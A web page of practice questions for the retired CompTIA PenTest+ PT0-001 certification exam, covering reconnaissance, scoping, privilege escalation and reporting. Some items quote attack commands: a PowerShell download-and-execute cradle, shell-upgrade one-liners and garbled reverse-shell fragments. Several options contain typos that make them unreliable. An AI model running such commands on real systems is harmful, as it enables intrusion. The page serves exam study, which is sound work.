Labour Day Special Limited Time Flat 70% Discount offer - Ends in 0d 00h 00m 00s - Coupon code: 70spcl

CompTIA PT0-001 CompTIA PenTest+ Exam Exam Practice Test

Note! Following PT0-001 Exam is Retired now. Please select the alternative replacement for your Exam Certification. The new exam code is PT0-002
Page: 1 / 29
Total 294 questions

CompTIA PenTest+ Exam Questions and Answers

Question 1

At the information gathering stage, a penetration tester is trying to passively identify the technology running on

a client’s website. Which of the following approached should the penetration tester take?

Options:

A.

Run a spider scan in Burp Suite.

B.

Use web aggregators such as BuiltWith and Netcraft

C.

Run a web scraper and pull the website’s content.

D.

Use Nmap to fingerprint the website’s technology.

Question 2

A penetration tester observes that the content security policy header is missing during a web application

penetration test. Which of the following techniques would the penetration tester MOST likely perform?

Options:

A.

Command injection attack

B.

Clickjacking attack

C.

Directory traversal attack

D.

Remote file inclusion attack

Question 3

Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO)

Options:

A.

The tester discovers personally identifiable data on the system

B.

The system shows evidence of prior unauthorized compromise

C.

The system shows a lack of hardening throughout

D.

The system becomes unavailable following an attempted exploit

E.

The tester discovers a finding on an out-of-scope system

Question 4

A constant wants to scan all the TCP Pots on an identified device. Which of the following Nmap switches will complete this task?

Options:

A.

-p-

B.

-p ALX,

C.

-p 1-65534

D.

-port 1-65534

Question 5

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is

MOST critical and should be prioritized for exploitation?

Options:

A.

Stored XSS

B.

Fill path disclosure

C.

Expired certificate

D.

Clickjacking

Question 6

After successfully exploiting a local file inclusion vulnerability within a web application a limited reverse shell is spawned back to the penetration tester's workstation Which of the following can be used to escape the limited shell and create a fully functioning TTY?

Options:

A.

per1 -e ' : set shall=/bin/bash:shell'

B.

php -r ,Sshell=f3hellopen("/bin/bash-);exec($9he:i)'

C.

bash -i >fi /dev/localhosc Oil

D.

python -c 'import pty;pcy.3pawn("/bin/bash")'

Question 7

When calculating the sales price of a penetration test to a client, which of the following is the MOST important aspect to understand?

Options:

A.

The operating cost

B.

The client's budget

C.

The required scope of work

D.

The non-disclosure agreement

Question 8

Click the exhibit button.

Question # 8

A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. Which of the following types of attacks should the tester stop?

Options:

A.

SNMP brute forcing

B.

ARP spoofing

C.

DNS cache poisoning

D.

SMTP relay

Question 9

Which of the following would BEST prevent fence jumping at a facility?

Options:

A.

Install proper lighting around the perimeter of the facility.

B.

Decrease the distance between the links in the fence.

C.

Add a top guard on the fence that faces away from the facility.

D.

Place video cameras that are angled toward the fence.

Question 10

Which of the following has a direct and significant impact on the budget of the security assessment?

Options:

A.

Scoping

B.

Scheduling

C.

Compliance requirement

D.

Target risk

Question 11

A client has voiced concern about the number of companies being branched by remote attackers, who are looking for trade secrets. Which of following BEST describes the types of adversaries this would identify?

Options:

A.

Script kiddies

B.

APT actors

C.

Insider threats

D.

Hacktrvist groups

Question 12

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user’s folder titled “changepass”

-sr –xr -x 1 root root 6443 Oct 18 2017 /home/user/changepass

Using “strings” to print ASCII printable characters from changepass, the tester notes the following:

$ strings changepass

Exit

setuid

strmp

GLINC _2.0

ENV_PATH

%s/changepw

malloc

strlen

Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machines?

Options:

A.

Copy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass

B.

Create a copy of changepass in the same directory, naming it changpw. Export the ENV_PATH environmental variable to the path “/home/user’. Then run changepass

C.

Export the ENV_PATH environmental variable to the path of a writable directory that contains a token-stealing binary title changepw

D.

Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of ‘/usr/local/bin’

Question 13

A penetration tester has performed a vulnerability scan of a specific host that contains a valuable database and has identified the following vulnerabilities:

  • XSS
  • HTTP DELETE method allowed
  • SQL injection
  • Vulnerable to CSRF

To which of the following should the tester give the HIGHEST priority?

Options:

A.

SQL injection

B.

HTTP DELETE method allowed

C.

Vulnerable to CSRF

D.

XSS

Question 14

Instructions:

Analyze the code segments to determine which sections are needed to complete a port scanning script.

Drag the appropriate elements into the correct locations to complete the script.

If at any time you would like to bring back the initial state of the simulation, please click the reset all button.

During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

Question # 14

Options:

Question 15

A static code analysis report of a web application can be leveraged to identify:

Options:

A.

business logic flaws.

B.

insufficient input sanitization.

C.

session fixation issues.

D.

client-side data storage.

E.

clickjacking.

Question 16

A client’s systems administrator requests a copy of the report from the penetration tester, but the systems

administrator is not listed as a point of contact or signatory. Which of the following is the penetration tester’s

BEST course of action?

Options:

A.

Send the report since the systems administrator will be in charge of implementing the fixes.

B.

Send the report and carbon copy the point of contact/signatory for visibility.

C.

Reply and explain to the systems administrator that proper authorization is needed to provide the report.

D.

Forward the request to the point of contact/signatory for authorization.

Question 17

A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovering vulnerabilities, the company asked the consultant to perform the following tasks:

  • Code review
  • Updates to firewall settings

Which of the following has occurred in this situation?

Options:

A.

Scope creep

B.

Post-mortem review

C.

Risk acceptance

D.

Threat prevention

Question 18

A penetration tester wants to check manually if a “ghost” vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?

Options:

A.

Download the GHOST file to a Linux system and compile

gcc -o GHOST

test i:

./GHOST

B.

Download the GHOST file to a Windows system and compile

gcc -o GHOST GHOST.c

test i:

./GHOST

C.

Download the GHOST file to a Linux system and compile

gcc -o GHOST GHOST.c

test i:

./GHOST

D.

Download the GHOST file to a Windows system and compile

gcc -o GHOST

test i:

./GHOST

Question 19

A penetration tester locates a few unquoted service paths during an engagement. Which of the following can the tester attempt to do with these?

Options:

A.

Attempt to crack the service account passwords.

B.

Attempt DLL hijacking attacks.

C.

Attempt to locate weak file and folder permissions.

D.

Attempt privilege escalation attacks.

Question 20

A system security engineer is preparing to conduct a security assessment of some new applications. The applications were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed method to gather information on the inner working of these applications?

Options:

A.

Launch the applications and use dynamic software analysis tools, including fuzz testing

B.

Use a static code analyzer on the JAR filet to look for code Quality deficiencies

C.

Decompile the applications to approximate source code and then conduct a manual review

D.

Review the details and extensions of the certificate used to digitally sign the code and the application

Question 21

Which of the following commands will allow a tester to enumerate potential unquoted services paths on a host?

Options:

A.

wmic environment get name, variablevalue, username / findstr /i “Path” | findstr /i “service”

B.

wmic service get /format:hform > c:\temp\services.html

C.

wmic startup get caption, location, command | findstr /i “service” | findstr /v /i “%”

D.

D. wmic service get name, displayname, patchname, startmode | findstr /i “auto” | findstr /i /v “c:\windows\\” | findstr /i /v “””

Question 22

While engaging clients for a penetration test from highly regulated industries, which of the following is usually the MOST important to the clients from a business perspective?

Options:

A.

Letter of engagement and attestation of findings

B.

NDA and MSA

C.

SOW and final report

D.

Risk summary and executive summary

Question 23

A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability?

Options:

A.

RID cycling to enumerate users and groups

B.

Pass the hash to relay credentials

C.

Password brute forcing to log into the host

D.

Session hijacking to impersonate a system account

Question 24

During an engagement an unsecure direct object reference vulnerability was discovered that allows the extraction of highly sensitive PII. The tester is required to extract and then exfil the information from a web application with identifiers 1 through 1000 inclusive. When running the following script, an error is encountered:

Question # 24

Which of the following lines of code is causing the problem?

Options:

A.

url = “https://www.comptia.org?id=”

B.

req = requests.get(url)

C.

if req.status ==200:

D.

url += i

Question 25

A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port The penetration tester wishes to forward that traffic back to a device Which of the following are the BEST tools to use few this purpose? (Select TWO)

Options:

A.

Tcpdump

B.

Nmap

C.

Wiresrtark

D.

SSH

E.

Netcat

F.

Cain and Abel

Question 26

Which of the following tools can be used to perform a basic remote vulnerability scan of a website's configuration?

Options:

A.

Mimikatz

B.

BeEF

C.

Nikto

D.

Patator

Question 27

Consider the following PowerShell command:

powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/

script.ps1”);Invoke-Cmdlet

Which of the following BEST describes the actions performed this command?

Options:

A.

Set the execution policy

B.

Execute a remote script

C.

Run an encoded command

D.

Instantiate an object

Question 28

A penetration tester has gained physical access to a facility and connected directly into the internal network.

The penetration tester now wants to pivot into the server VLAN. Which of the following would accomplish this?

Options:

A.

Spoofing a printer’s MAC address

B.

Abusing DTP negotiation

C.

Performing LLMNR poisoning

D.

Conducting an STP attack

Question 29

At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information?

Options:

A.

Enumeration of services

B.

OSINT gathering

C.

Port scanning

D.

Social engineering

Question 30

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment?

Options:

A.

Selection of the appropriate set of security testing tools

B.

Current and load ratings of the ICS components

C.

Potential operational and safety hazards

D.

Electrical certification of hardware used in the test

Question 31

While conducting information gathering, a penetration tester is trying to identify Windows hosts. Which of the following characteristics would be BEST to use for fingerprinting?

Options:

A.

The system responds with a MAC address that begins with 00:0A:3B.

B.

The system responds with port 22 open.

C.

The system responds with a TTL of 128.

D.

The system responds with a TCP window size of 5840.

Question 32

Which of the following would be BEST for performing passive reconnaissance on a target's external domain?

Options:

A.

Peach

B.

CeWL

C.

OpenVAS

D.

Shodan

Question 33

Which of the following BEST describes why an MSA is helpful?

Options:

A.

It contractually binds both parties to not disclose vulnerabilities.

B.

It reduces potential for scope creep.

C.

It clarifies the business arrangement by agreeing to specific terms.

D.

It defines the timelines for the penetration test.

Question 34

While performing privilege escalation on a Windows 7 workstation, a penetration tester identifies a service that

imports a DLL by name rather than an absolute path. To exploit this vulnerability, which of the following criteria

must be met?

Options:

A.

Permissions not disabled in the DLL

B.

Weak folder permissions of a directory in the DLL search path

C.

Write permissions in the C:\Windows\System32\imports directory

D.

DLL not cryptographically signed by the vendor

Question 35

A penetration tester is designing a phishing campaign and wants to build list of users (or the target organization. Which of the following techniques would be the MOST appropriate? (Select TWO)

Options:

A.

Query an Internet WHOIS database.

B.

Search posted job listings.

C.

Scrape the company website.

D.

Harvest users from social networking sites.

E.

Socially engineer the corporate call center.

Question 36

A penetration tester runs the following from a compromised box 'python -c -import pty;Pty.sPawn( "/bin/bash").' Which of the following actions is the tester taking?

Options:

A.

Removing the Bash history

B.

Upgrading the shell

C.

Creating a sandbox

D.

Capturing credentials

Question 37

You are a penetration tester running port scans on a server.

INSTRUCTIONS

Part1: Given the output, construct the command that was used to generate this output from the available options.

Part2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Part1

Question # 37

Part2

Question # 37

Options:

Question 38

While trying to maintain persistence on a Windows system with limited privileges, which of the following

registry keys should the tester use?

Options:

A.

HKEY_CLASSES_ROOT

B.

HKEY_LOCAL_MACHINE

C.

HKEY_CURRENT_USER

D.

HKEY_CURRENT_CONFIG

Question 39

A penetration testing company is performing a penetration test against Company A. Company A has provided the IP address range 10.0.0.0/24 as its in-scope network range. During the information gathering phase, the penetration tester is asked to conduct active information-gathering techniques. Which of the following is the BEST tool to use for active information gathering?

Options:

A.

hping3

B.

theHarvester

C.

tcpdump

D.

Nmap

Question 40

After an Nmap NSE scan, a security consultant is seeing inconsistent results while scanning a host. Which of the following is the MOST likely cause?

Options:

A.

Services are not listening

B.

The network administrator shut down services

C.

The host was not reachable

D.

A firewall/IPS blocked the scan

Question 41

Which of the following attacks is commonly combined with cross-site scripting for session hijacking?

Options:

A.

CSRF

B.

Clickjacking

C.

SQLI

D.

RFI

Question 42

While prioritizing findings and recommendations for an executive summary, which of the following considerations would De MOST valuable to the client?

Options:

A.

Levels of difficulty to exploit identified vulnerabilities

B.

Time taken to accomplish each step

C.

Risk tolerance of the organization

D.

Availability of patches and remediations

Question 43

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers.

Which of the following BEST describes the reasoning for this?

Options:

A.

Manufacturers developing IoT devices are less concerned with security.

B.

It is difficult for administrators to implement the same security standards across the board.

C.

IoT systems often lack the hardware power required by more secure solutions.

D.

Regulatory authorities often have lower security requirements for IoT systems.

Question 44

Which of the following actions BEST matches a script kiddie's threat actor?

Options:

A.

Exfiltrate network diagrams to perform lateral movement

B.

Steal credit cards from the database and sell them in the deep web

C.

Install a rootkit to maintain access to the corporate network

D.

Deface the website of a company in search of retribution

Page: 1 / 29
Total 294 questions